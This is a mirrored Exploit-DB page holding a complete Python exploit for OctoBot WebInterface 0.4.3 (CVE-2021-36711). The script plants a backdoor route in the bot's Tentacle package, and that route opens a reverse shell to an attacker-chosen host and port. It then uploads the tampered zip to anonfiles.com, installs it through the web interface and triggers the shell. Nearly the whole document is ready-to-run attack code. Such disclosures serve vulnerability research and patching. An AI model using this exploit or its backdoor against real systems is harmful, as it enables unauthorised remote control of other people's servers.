OctoBot WebInterface 0.4.3 – Remote Code Execution (RCE)

• Exploit Database
• 123 阅读

• 作者： Samy Younsi
  日期： 2022-07-21
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50979/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209

  # Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE) # Date: 9/2/2021 # Exploit Author: Samy Younsi, Thomas Knudsen # Vendor Homepage: https://www.octobot.online/ # Software Link: https://github.com/Drakkar-Software/OctoBot # Version: 0.4.0beta3 - 0.4.3 # Tested on: Linux (Ubuntu, CentOs) # CVE : CVE-2021-36711   from __future__ import print_function, unicode_literals from bs4 import BeautifulSoup import argparse import requests import zipfile import time import sys import os   def banner(): sashimiLogo = """ _________ .. (.. \_,|\/| \ O\/|\ \/ / \______\/ | \/ vvvv\\ | /| _ __ _\^^^^== \_/ | | |__ _ | || |__ (_)_ __ ___ (_)<code>\_ ===\.| / __)/ _</code> / __| &apos;_ \| | &apos;_ ` _ \| |/ /\_ \ /| \__ | (_| \__ | | | | | | | | | | ||/ \_\|/ ( /\__,_( |_| |_|_|_| |_| |_|_| \________/ |_| |_| \033[1;91mOctoBot Killer\033[1;m Author: \033[1;92mNaqwada\033[1;m RuptureFarm 1029   FOR EDUCATIONAL PURPOSE ONLY. """ return print(&apos;\033[1;94m{}\033[1;m&apos;.format(sashimiLogo))     def help(): print(&apos;[!] \033[1;93mUsage: \033[1;m&apos;) print(&apos;[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m&apos;.format(sys.argv[0])) print(&apos;[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.&apos;)     def getOctobotVersion(RHOST, RPORT): if RPORT == 443: url = &apos;https://{}:{}/api/version&apos;.format(RHOST, RPORT) else: url = &apos;http://{}:{}/api/version&apos;.format(RHOST, RPORT) return curl(url)     def restartOctobot(RHOST, RPORT): if RPORT == 443: url = &apos;https://{}:{}/commands/restart&apos;.format(RHOST, RPORT) else: url = &apos;http://{}:{}/commands/restart&apos;.format(RHOST, RPORT)   try: requests.get(url, allow_redirects=False, verify=False, timeout=1) except requests.exceptions.ConnectionError as e: print(&apos;[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m&apos;) time.sleep(30)     def downloadTentaclePackage(octobotVersion): print(&apos;[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m&apos;.format(octobotVersion)) url = &apos;https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip&apos;.format(octobotVersion) result = requests.get(url, stream=True) with open(&apos;{}.zip&apos;.format(octobotVersion), &apos;wb&apos;) as fd: for chunk in result.iter_content(chunk_size=128): fd.write(chunk) print(&apos;[+] \033[1;92mDownload completed!\033[1;m&apos;)     def unzipTentaclePackage(octobotVersion): zip = zipfile.ZipFile(&apos;{}.zip&apos;.format(octobotVersion)) zip.extractall(&apos;quests&apos;) os.remove(&apos;{}.zip&apos;.format(octobotVersion)) print(&apos;[+] \033[1;92mTentacle package has been extracted.\033[1;m&apos;)     def craftBackdoor(octobotVersion): print(&apos;[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m&apos;.format(octobotVersion)) path = &apos;quests/reference_tentacles/Services/Interfaces/web_interface/api/&apos; injectInitFile(path) injectMetadataFile(path) print(&apos;[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m&apos;.format(octobotVersion))     def injectMetadataFile(path): with open(&apos;{}metadata.py&apos;.format(path),&apos;r&apos;) as metadataFile: content = metadataFile.read() addPayload = content.replace(&apos;import json&apos;, &apos;&apos;.join(&apos;import json\nimport flask\nimport sys, socket, os, pty&apos;)) addPayload = addPayload.replace(&apos;@api.api.route("/announcements")&apos;, &apos;&apos;.join(&apos;@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")&apos;)) with open(&apos;{}metadata.py&apos;.format(path),&apos;w&apos;) as newMetadataFile: newMetadataFile.write(addPayload)     def injectInitFile(path): with open(&apos;{}__init__.py&apos;.format(path),&apos;r&apos;) as initFile: content = initFile.read() addPayload = content.replace(&apos;announcements,&apos;, &apos;&apos;.join(&apos;announcements,\n\tsashimi,&apos;)) addPayload = addPayload.replace(&apos;"announcements",&apos;, &apos;&apos;.join(&apos;"announcements",\n\t"sashimi",&apos;)) with open(&apos;{}__init__.py&apos;.format(path),&apos;w&apos;) as newInitFile: newInitFile.write(addPayload)     def rePackTentaclePackage(): print(&apos;[+] \033[1;92mRepacking Tentacle package.\033[1;m&apos;) with zipfile.ZipFile(&apos;any_platform.zip&apos;, mode=&apos;w&apos;) as zipf: len_dir_path = len(&apos;quests&apos;) for root, _, files in os.walk(&apos;quests&apos;): for file in files: file_path = os.path.join(root, file) zipf.write(file_path, file_path[len_dir_path:])     def uploadMaliciousTentacle(): print(&apos;[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m&apos;)   file = { &apos;file&apos;: open(&apos;any_platform.zip&apos;, &apos;rb&apos;), } response = requests.post(&apos;https://api.anonfiles.com/upload&apos;, files=file, timeout=60) zipLink = response.json()[&apos;data&apos;][&apos;file&apos;][&apos;url&apos;][&apos;full&apos;] response = requests.get(zipLink, timeout=60) soup = BeautifulSoup(response.content.decode(&apos;utf-8&apos;), &apos;html.parser&apos;) zipLink = soup.find(id=&apos;download-url&apos;).get(&apos;href&apos;) print(&apos;[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m&apos;.format(zipLink)) return zipLink   def curl(url): response = requests.get(url, allow_redirects=False, verify=False, timeout=60) return response     def injectBackdoor(RHOST, RPORT, zipLink): print(&apos;[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m&apos;) if RPORT == 443: url = &apos;https://{}:{}/advanced/tentacle_packages?update_type=add_package&apos;.format(RHOST, RPORT) else: url = &apos;http://{}:{}/advanced/tentacle_packages?update_type=add_package&apos;.format(RHOST, RPORT)   headers = { &apos;Content-Type&apos;: &apos;application/json&apos;, &apos;X-Requested-With&apos;: &apos;XMLHttpRequest&apos;, }   data = &apos;{"&apos;+zipLink+&apos;":"register_and_install"}&apos;   response = requests.post(url, headers=headers, data=data) response = response.content.decode(&apos;utf-8&apos;).replace(&apos;"&apos;, &apos;&apos;).strip()   os.remove(&apos;any_platform.zip&apos;)   if response != &apos;Tentacles installed&apos;: print(&apos;[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m&apos;) exit() print(&apos;[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m&apos;)     def execReverseShell(RHOST, RPORT, LHOST, LPORT): print(&apos;[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m&apos;.format(LHOST, LPORT)) if RPORT == 443: url = &apos;https://{}:{}/api/sashimi?LHOST={}&LPORT={}&apos;.format(RHOST, RPORT, LHOST, LPORT) else: url = &apos;http://{}:{}/api/sashimi?LHOST={}&LPORT={}&apos;.format(RHOST, RPORT, LHOST, LPORT) return curl(url)   def isPassword(RHOST, RPORT): if RPORT == 443: url = &apos;https://{}:{}&apos;.format(RHOST, RPORT) else: url = &apos;http://{}:{}&apos;.format(RHOST, RPORT) return curl(url)   def main(): banner() args = parser.parse_args()   if isPassword(args.RHOST, args.RPORT).status_code != 200: print(&apos;[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m&apos;)   octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode(&apos;utf-8&apos;).replace(&apos;"&apos;,&apos;&apos;).replace(&apos;OctoBot &apos;,&apos;&apos;)   if len(octobotVersion) > 0: print(&apos;[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m&apos;.format(octobotVersion))   downloadTentaclePackage(octobotVersion) unzipTentaclePackage(octobotVersion) craftBackdoor(octobotVersion) rePackTentaclePackage() zipLink = uploadMaliciousTentacle() injectBackdoor(args.RHOST, args.RPORT, zipLink) restartOctobot(args.RHOST, args.RPORT) execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)     if __name__ == "__main__": parser = argparse.ArgumentParser(description=&apos;POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.&apos;, add_help=False) parser.add_argument(&apos;-h&apos;, &apos;--help&apos;, help=help()) parser.add_argument(&apos;--RHOST&apos;, help="Refers to the IP of the target machine.", type=str, required=True) parser.add_argument(&apos;--RPORT&apos;, help="Refers to the open port of the target machine.", type=int, required=True) parser.add_argument(&apos;--LHOST&apos;, help="Refers to the IP of your machine.", type=str, required=True) parser.add_argument(&apos;--LPORT&apos;, help="Refers to the open port of your machine.", type=int, required=True) main()